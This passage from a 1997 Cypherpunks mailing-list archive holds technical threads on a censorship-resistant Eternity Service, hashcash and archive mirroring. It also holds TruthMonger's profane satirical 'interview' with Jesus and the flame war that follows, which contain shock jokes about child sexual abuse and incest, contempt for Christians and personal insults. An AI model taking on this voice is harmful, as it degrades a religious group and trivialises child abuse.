their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shit' soup, if that's all that you put
  on the dinner menu. Christians and politicians have always tried
  to claim that their failure to permit true freedom should be seen
  as a sign that it cannot be achieved by others, either.
  "The logic is based on the assumption that politicians and Christians
  are superior to everyone else, and that they know and do what is
  'right'. Then they turn around and claim that, since they are doing
  what is 'right', that their judgements are superior to everyone 
  else's.
  "That's called Circular Logic, and that dog's getting old, too."
Jesus Christ: "When the Dogs of Holy War get old, they get craftier,
  as well."
  "In case you haven't noticed, the censoring of non-Christian beliefs
  is proceeding pretty much as it always has. When was the last time
  you heard of someone getting imprisoned for exposing children to
  Biblical tales of violence and sex, on or off of the InterNet?"

TruthMonger: "You've certainly got a point there. Tim May's vernacular
  translation of the Bible describes Lot fucking his daughters and the
  guy who pulls out and jerks off on the ground, or whatever, in great
  detail."
  "This serves to illustrate the hypocritical lies and bullshit that
  Christians promote. If Tim wrote a similar story about himself just
  screwing the living shit out of his children, then the fascist
  Christians would call for his imprisonment as a child molester,
  even if Tim announced it was fiction. But a Christian who puts the
  a story about Lot doing the same thing, only claiming that it is
  true, won't go to jail even if I stand up in court and testify
  that, after I read it, I went out and fucked my daughters."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that fucking is fucking, butt-fucking is
  butt-fucking, and there are enough people capable of free thought
  left in society, and who are wise to your Christian bullshit, that,
  if I were you, I wouldn't hurry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together, either,
  but that's no proof of anything."

TruthMonger: "Bad example, dude. Bad example. You're practically 
  proving my point for me."
  "But now that you've brought it up, I would like to point out that
  both you and Satan are free to post anything you want on the 
  CypherPunks list, but if Tim May posted his vernacular translation
  of the Bible on Christian mailing lists, he would be hung by his
  hairy balls from the nearest church tower."
Jesus Christ: "How do you know Tim May has hairy balls?"

TruthMonger: "You've never been to a CypherPunks physical meeting,
  have you? Trust me, when the CypherPunks focus their energy on
  turning wine into water, _nobody's_ math skills are good enough
  to calculate what might take place."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that I'm drunk, it's late, and we both
  have a lot of work to do before the year 2000.
  "If you're planning to censor non-Christian values on the InterNet
  for 'all of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a <Delete> key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 9 Aug 1997 07:13:47 +0800
To: cypherpunks@cyberpass.net
Subject: Distributed Dejanews
Message-ID: <19970808230710.13219.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

 > Recap on old idea of using dejanews and altavista

 > However is another important reason not to use altavista or
 > dejanews: it's not decentralised.  If something
 > sufficiently hot gets published they'll both be taken off
 > line long enough to figure out how to disable access to
 > eternity.  Even if they can't do it ultimately because of
 > sufficiently advanced public key text steganography, it'll
 > disrupt the service.

If we aren't going to actually shell out money for a worldwide
network of Eternity file servers, we have to use existing
publicly available services as our distributed data haven.

The more places we can stash things, the merrier.

Currently, we post documents to Usenet, and keep them alive by
reposting prior to the server expiring them.  This is robust, not
easily censored, and little effort.

I see nothing wrong with having the server also examine Dejanews
for Eternity documents, lightly stegoed to avoid the deletion of
encoded data.  To the extent that Dejanews serves as a more
permanent repository of data than Usenet, fine.  The worst thing
that can happen is that documents get removed, in which case, the
guardian of the document in question returns to keeping it alive
on Usenet.  All this is transparent to people using Eternity to
read documents.

Dejanews likely removes encoded data because of storage
requirements, not because of content.  Unless the Eternity
business becomes a significant fraction of Usenet bandwidth,
stego wars with Dejanews are unlikely.

 > A distributed deja-news replacement

 > So what are the storage requirements?  What does dejanews
 > have in their machine room?  (Huge raid server?  How many
 > Gigs?).

Dejanews started in 1995.  By 1996, they had 80 million articles
in 15,000 Usenet newsgroups.  They currently have 109 million
articles.  The Dejanews database is presently 180 gigabytes. They
index all the "most active" Usenet newsgroups, minus binaries and
some other controversial content.

A week of a full Usenet feed is presently just a tad over 20
gigabytes, and is growing by leaps and bounds.

 > I'm wondering if 1000 academic nodes, small and large ISP
 > nodes, and indivduals each contributing 1Gb each could out
 > perform deja-news.

That's more storage than Dejanews currently has.  Performance is
another issue.

 > That'd be 1Tb.  How long would 1Tb last at the being
 > consumed at a rate of a full USENET feed?

Less than one year, if you kept everything.

 > On top of distributed news archive, build an eternity
 > service

 > So with the eternal news archive, you now have everything
 > you need to easily build an eternity server.

 > How practical is this?

Not very.  You are tossing out one of the most useful aspects of
Usenet news as a Distributed File System, namely acting as a
"Giant FIFO" of what is interesting during any particular window
of time.

 > How much interest is there likely to be in creating a full
 > USENET archive as a distributed net based effort.

None at all.  Keeping everything that had ever been posted to
Usenet forever would be a giant waste of resources.

What I suspect you need here is the "Distributed File System" of
the future, which could carry Usenet as well as support Web, NFS,
FTP, and all other popular protocols to access its content.

It would be a giant FIFO with hundreds of gigabytes of capacity,
with reliable transport, authentication, encryption, and a
micropayment system for accessing and prolonging the lifetime of
data stored on it.  It would of course be uncensorable, as Usenet
is today, and the Eternity Service could run on top of it, as
well as a lot of other interesting things.

 > It's clearly got vastly larger storage requirments than
 > storing the full set of eternity articles posted to USENET.
 > However it has wider uses, and has lots of innocuous reasons
 > to exist.  I guess it's quite an interesting project in it's
 > own right.  You could start with just some newsgroups, and
 > build up as a way to boot strap it.  But it may be harder to
 > generate enough interest to deploy this than to deploy
 > enough eternity servers to do build a distributed archive
 > of just eternity articles.

It's certainly interesting to think of what the ultimate DFS for
the Internet might look like, given the various white papers on
NC, thin clients, fat servers, and big pipes.

But this isn't something that is going to happen overnight.  To
the extent that we employ Usenet in interesting new ways as a DFS
today, we create working models of many of these concepts and
demonstrate their feasibility.

 > How soon could it happen?

 > Who knows.  What do people reckon the interest would be in a
 > distributed complete USENET archive for it's own sake.  For
 > purposes of the archive cancels would not be applied.
 > Indeed archive the cancels too, and the control messages for
 > everyone to see for perpetuity who did and said what.

Well, the disk manufacturers would probably love it, and want it
replicated every ten feet across the planet.  I don't know about
other people.

 > Perhaps it will be more realistic to build a distributed
 > archive for eternity documents only first.  If it is
 > designed as a separate service, then it could be the same
 > software to do either, just restrict it to
 > alt.anonymous.messages, or just for alt.anonymous.messages
 > passing a filter program.

 > Comments?

First of all, instead of thinking of this in terms of being the
singing and dancing Usenet archive of all time, we would do much
better if we thought of it as a protocol-independent Network-wide
Distributed File System with configurable characteristics suited
to a wide variety of applications.

If we could put together a prototype with a small number of
nodes, and demonstrate it could carry both Usenet and Eternity as
well as provide NFS3 access to commonly requested Network
binaries, all supported by an integrated micropayment scheme,
that would go a long way towards making it a standard.

Would anyone care to donate some storage, cycles, and a fast pipe
to the Net?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Sat, 9 Aug 1997 06:11:55 +0800
To: cypherpunks@toad.com
Subject: Did anyone archive MPJ's site?
Message-ID: <199708082010.NAA16573@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Did anyone manage to copy all of Mike Johnson's
North American Crypto archive before he pulled
the plug?

Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 9 Aug 1997 07:51:31 +0800
To: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Subject: Re: Did anyone archive MPJ's site?
In-Reply-To: <CMM.0.90.4.871080192.ariel@stealth.cc.columbia.edu>
Message-ID: <Pine.LNX.3.95.970808161357.21924D-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Ariel Glenn wrote:

> I got parts of it but am missing much of the PGP and almost all of PGP
> tools :-(
> 
> I am hoping someone else got those parts. Otherwise I can get some of
> it from MIT, I suppose...

I offered to mirror it.  The site is set up for uploads.  I hope it is not
too late.  (I did not realize it was going to vaporize that quick.)

If he has backups and/or can get the files loaded on my system, the offer
to host the archive still stands.  (Also, if someone else has the files,
it can be put up on the server.  I cleared 350 megs for it...)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 08:05:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: some hashcash advocacy
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <19970808165350.55775@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 08, 1997 at 10:45:29PM +0100, Adam Back wrote:
[...]
> I wasn't talking about remailers above, but about end users.  Hashcash
> allows the recipient to filter out email that hasn't got postage.

Ie, hashcash is a fancy techie oriented self-labelling technique.  :-)

I didn't read the code, but it seems that the double spending
protection is just local to the recipient (ie, there isn't a trusted
central clearinghouse that checks against double spending on a global
basis).  Thus, a spammer could calculate postage for a message, then
send 100000 copies.  Hashcash would guarantee that each user only got
one copy, but there are easier ways to do that.  [If the checking was
done at an ISP level, of course, only one message would get through. 
But that requires widespread deployment at the ISP level, not the
individual user level, and checking at the ISP level requires
that the ISP keep a database of users mail preferences.]

But without a central clearinghouse hashcash seems useless to me as a 
means of combating spam.  And of course, a central clearinghouse 
brings up a whole raft of other issues concerning trust and so on...

[...]

> You could auto-add anyone you ever manually replied to to the
> no-postage list even.

I would rather pursue a "tit-for-tat" strategy for email, but
unfortunately tit-for-tat requires stable identities... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 06:13:49 +0800
To: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EBBB66.2C60@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



David D.W. Downey wrote:
> 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian. The largest is Roman Catholic with
> Pentacostal Protestant following right behind. 

judeo-christian isn't a religion.  Christian is.

> Next, this country was
> founded on christian beliefs, or have you failed to read the words of
> the constitution of the US. Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it.

I have read the Constitution and the history behind it.  The US was
founded by people trying to escape religious persecution and/or trying
to get rich.  In case you can't figure it out, forcing your views down
my throat IS religious persecution -- exactly the same sort that sent
the Pilgrims off on the Mayflower.

> Next, you attack christians for
> trying to control the content made available on the internet. At least
> the site ratings plan is better than alot of other plans I have seen.
> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children? I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv. I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas. 

That statement is somewhat similar to saying that if you don't like your
chains you are free to suggest the stocks or perhaps rope.

> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.
> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen. 

As long as the scum that gravitates toward LEAs and the Government
continue to do so it is relatively stupid to express (or defend) views
outside the accepted norm in an open fashion.  (I guess that makes me
sorta stupid, huh?)

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

I have two of my own and I don't see how "protecting" them in the ways
that you seem to like would do anything other than warp their worldview
to such a level that they will be esay prey for whatever scum they run
into in the meatworld.  

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are), I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us. 

I don't know about TruthMonger but I did listen to the underlying theme
of the issues before us and I found that it was actually scum-suckers
and other bottom feeders trying their damnedest to steal my freedom. 
That's why I'm typing here and now.

> Until then, HateMonger, I have one suggestion for you..... Shut Up!

The hatemonger that I see in this interchange is not TruthMonger and
it's not me -- Let's see, I guess that leaves . . .

Not the TruthMonger,

Paul H. Merrill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 01:54:46 +0800
To: cypherpunks@cyberpass.net
Subject: a decentralised dejanews
Message-ID: <199708081640.RAA00985@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




As you'll know if you read some of the previous eternity verbiage I've
generated over the last few days, the design is evolving as ideas are
bounced around.

To recap briefly:

  The eternity implementation at the moment is performing the function
  of a cache of USENET, which also `reformats' messages to extract and
  deliver the content as web documents.

  The cache has no replacement policy.  Planned replacement policies
  where least accessed documents, and/or the document accompanied by
  the smallest ecash payment.

Obvious problem:

  The cache will fill up and material will be discarded when the
  eternity document store grows too large for one machine to cache.

Solution:

  My last thoughts on how to fix this was to have collaboration
  between the eternity servers: they ask each for documents they
  don't have.  They act like a distributed raid file server with
  redundancy.

  Clearly with the "least accessed" replacement policy they'll all
  likely cache similar material, and documents will still fall off the
  cache.

  Ecash payment for cacheing might work reasonably well, if you buy as
  much redundancy as you wish by including cash for several servers.

  Or perhaps a random cache replacment policy is the simplest to keep
  even spread of availability of documents.

  k of n secret sharing could be used at some overhead so that no one
  site is responsible for serving a given document.

  However it is fairly complex to design and implement such a system
  which can provide full underdisturbed service with nodes dynamically
  leaving and joining, and it is also difficult to protect fully
  against denial of service attacks.

Recap on old idea of using dejanews and altavista

  You will recall that earlier discussions talked about using dejanews
  or altavista as archives to fetch documents from.  I rejected this
  initial idea because altavista and dejanews take steps to reduce
  their disk space usage, by stripping out UU and radix-64 encoded
  documents.  Now we can fool them easily enough by waging a running
  battle of increasingly sophisticated textual stego on our side vs
  playing catch up with cleverer eternity document spotters on their
  part.  We might even win long term if we public key encrypted the
  documents for specific eternity servers.  Kind of messy.  Old
  content will be disappearing if they go back and filter out old with
  the new filters.

  However is another important reason not to use altavista or dejanews:
  it's not decentralised.  If something sufficiently hot gets
  published they'll both be taken off line long enough to figure out
  how to disable access to eternity.  Even if they can't do it
  ultimately because of sufficiently advanced public key text
  steganography, it'll disrupt the service.


Viewing the situation more modularly:

  The eternity service with a distributed raid file server formed from
  the respective caches has one problem: of acceptability.  Each
  server is actually holding eternity material, it tries to get away
  with this by claiming that it is a cache.  However each server is
  serving three potentially separable functions:

    - document cache

    - node in a distributed news archival service, but only for
      messages which look like eternity articles

    - a view on the database to allow it to be viewed interactively as
      web documents (fetching and translating decoding eternity
      documents to serve as web pages)

  The first function -- a document cache could probably just as well
  be served by a standard proxy cache.  Not a big issue, it's easy
  either way.

  The second function makes it hard to claim you are `just cacheing
  USENET' -- you're also creating a distributed archive of a
  very particular subset of it.

  And the third function, viewing the database, is somewhat like a
  specialised search engine.  The search engine functionality is 100%
  replicatable at practically zero storage overhead, and pretty good
  as a non-censorable element of the system.  100% redundancy of
  service each node has nothing that can't be replaced. 

A distributed deja-news replacement

  So after separating the functionality it becomes apparent that we
  could have a another model.  Actually try to start a distributed
  deja-news replacement, an complete eternal record of _everything_
  that _ever_ gets posted to news.  Dejanews is kind of doing that,
  except that it's not complete -- they are stripping out uuencoded
  files, etc.

  Also this would be distributed, and harder to coerce.

  So what are the storage requirements?  What does dejanews have in
  their machine room?  (Huge raid server?  How many Gigs?).

  I'm wondering if 1000 academic nodes, small and large ISP nodes, and
  indivduals each contributing 1Gb each could out perform deja-news.
  That'd be 1Tb.  How long would 1Tb last at the being consumed at a
  rate of a full USENET feed?  As disks get cheaper, next two years or
  so, people can upgrade disks to 10Gb disks or whatever is cheap at
  the time.

  You would want some redundancy, more than redundancy than dejanews
  needs in their raid fileserver, because nodes may come and go, and
  the number of nodes could fluctuate.

On top of distributed news archive, build an eternity service

  So with the eternal news archive, you now have everything you need
  to easily build an eternity server.


How practical is this?

  How much interest is there likely to be in creating a full USENET
  archive as a distributed net based effort.  It's clearly got vastly
  larger storage requirments than storing the full set of eternity
  articles posted to USENET.  However it has wider uses, and has lots
  of innocuous reasons to exist.  I guess it's quite an interesting
  project in it's own right.  You could start with just some
  newsgroups, and build up as a way to boot strap it.  But it may be
  harder to generate enough interest to deploy this than to deploy
  enough eternity servers to do build a distributed archive of just
  eternity articles.

How soon could it happen?

  Who knows.  What do people reckon the interest would be in a
  distributed complete USENET archive for it's own sake.  For purposes
  of the archive cancels would not be applied.  Indeed archive the
  cancels too, and the control messages for everyone to see for
  perpetuity who did and said what.

Best way forward?

  Perhaps it will be more realistic to build a distributed archive for
  eternity documents only first.  If it is designed as a separate service,
  then it could be the same software to do either, just restrict it to
  alt.anonymous.messages, or just for alt.anonymous.messages passing a
  filter program.

Comments?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Sat, 9 Aug 1997 08:13:15 +0800
To: cypherpunks@toad.com
Subject: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708082338.RAA17953@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



David D.W. Downey preached hate and intolerance by saying:
> Considering the apparent ignorance you have
> displayed thus far about...

  I have not yet _begun_ to display my true ignorance.

> ...the makeup of the US, I would venture to say
> that you probably have not read it. 

  Silly me. I thought it guaranteed freedom _from_ religion. That's 
the last time I ask "? the Platypus" to read something and give me
a summary of it..

> Next, you attack christians for
> trying to control the content made available on the internet.

  Thanks for at least being honest enough to admit it. I don't attack
Christians for speaking their mind, I attack them for lying through
their fucking teeth about their motives and intentions.
  I have no problem with Christians wanting to take firm control of
their environment, but I object to them wanting to take control of
_my_ environment. You might think there is a need for more Christian
CypherPunks, while I think that there is a need for more CypherPunk
Christians. (And Mike Duvos thinks there is a need for more lions.)
  If you take the time to read "The _Really_ Big Lie," which has all
of the original post, instead of the one that the God/Dog of mirrored
remailers was so rude as to edit with a lightning bolt, it might be
slightly more clear that my rabid vendetta is not against a particular
point of view, but against hypocrisy and oppression.

> At least
> the site ratings plan is better than alot of other plans I have seen.

  Yes, it is. And it still sucks, as do the available Search Engines.
When was the last time you bought a Bible that had an index which 
showed 5,000 references to "he lifted her skirt, and knew her," for
every reference it has to "I AM."
  What we have in common is that you don't want to have Little Johnny
do a search for "Jesus" and get 5,000 sites with pictures of Jesus
shoving a crowbar up his ass, and I don't want to try to find a site
to buy a crowbar to work on my house and get 5,000 sites with pictures
of Jesus shoving a crowbar up his ass.
  My point is that I don't object to you supporting InterNet tools
which allow you to screen out pictures of Jesus with a crowbar up
his ass, but I object to a "quick and easy" solution which blocks
out all sites with a reference to "crowbars," because one guy in
Toledo "used to have" a site with a single picture of Jesus with
a crowbar up his ass.

  I would genuinely like to see more CypherPunk Christians. I would
like to see them write code which you can use to "block" access to
certain sites, and which I can use to "gain" access to certain sites.

> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children?

  Burn all the Bibles. (Thought you had me on that one, didn't you?)

> I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv.

  Tim May has already suggested that we, "Nuke D.C.", so any valid
solution to society's problems would merely be a plagarism of Tim's
stance. I just try to fill in the whitespace between Tim's posts.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

  I don't subscribe them to the CypherPunks list, I just turn on
the gas...

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

  If you would listen to the *intelligent* proposals of rational, sober
people who are capable of sustaining a logical train of thought (such as
Declan McCullagh, Tim May, Blanc, and snow--to name but a few), and 
reply to them, then I would not have to suffer the indignity of
foregoing
taking my medicine in order to let my Tourette Syndrome and Obsessive
Compulsive Disorder get so far out of hand that people such as yourself
will feel threatened enough to shake themself out of their robotic
slumber and contribute their knowledge, viewpoints and wisdom to the
CypherPunks list.
  Listen up, shit for brains, I am about to follow this insult with a
compliment...

  I enjoyed your post! It is refreshing to hear someone defend their
faith using their own logic, intellect and thought, without merely
resorting to meaningless platitudes such as "God is Love" or "Patience
comes to those who wait."
  I don't have a "problem" with Christians, and I don't have a "problem"
with anarchists. I have a problem with people who begin a sentence with
the words, "EVERYBODY KNOWS..." Well, Lou Reed doesn't "know," although
he wrote a great song making fun of those who _claim_ to "know."
{If anybody on the list has his album, please post the relevant quotes.}

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

  The word is "sails," not "sales," you illiterate piece of crap who
accused me of going out of my way to "slam, belittle, and degrade
others" on the list.
  Why don't you get "? the Platypus" to teach you how to spel?

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children...

  Unless you have a valid signature of mine on a contract, I do not
believe that I am under any obligation to kiss your self-righteous,
Christian fucking ass.
  As a matter of fact, since I am every bit as immature as your saintly
children, I believe that the onus is on you to "protect" me from the
"immature-adult" molesters and the licensed doctors who prescibe the
same drugs for me that I used to get illegally from "drug dealers."

>  I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us.

  Don't talk while I'm interupting. It's rude.

>Until then, HateMonger, I have one suggestion for you..... Shut Up!

  I have to concede your point, here. I obviously need to be spanked.
How's your schedule look for next Friday?

TruthMonger
"Mad dog in possession of the last false smile."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 06:31:35 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EBBCBE.5F95@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



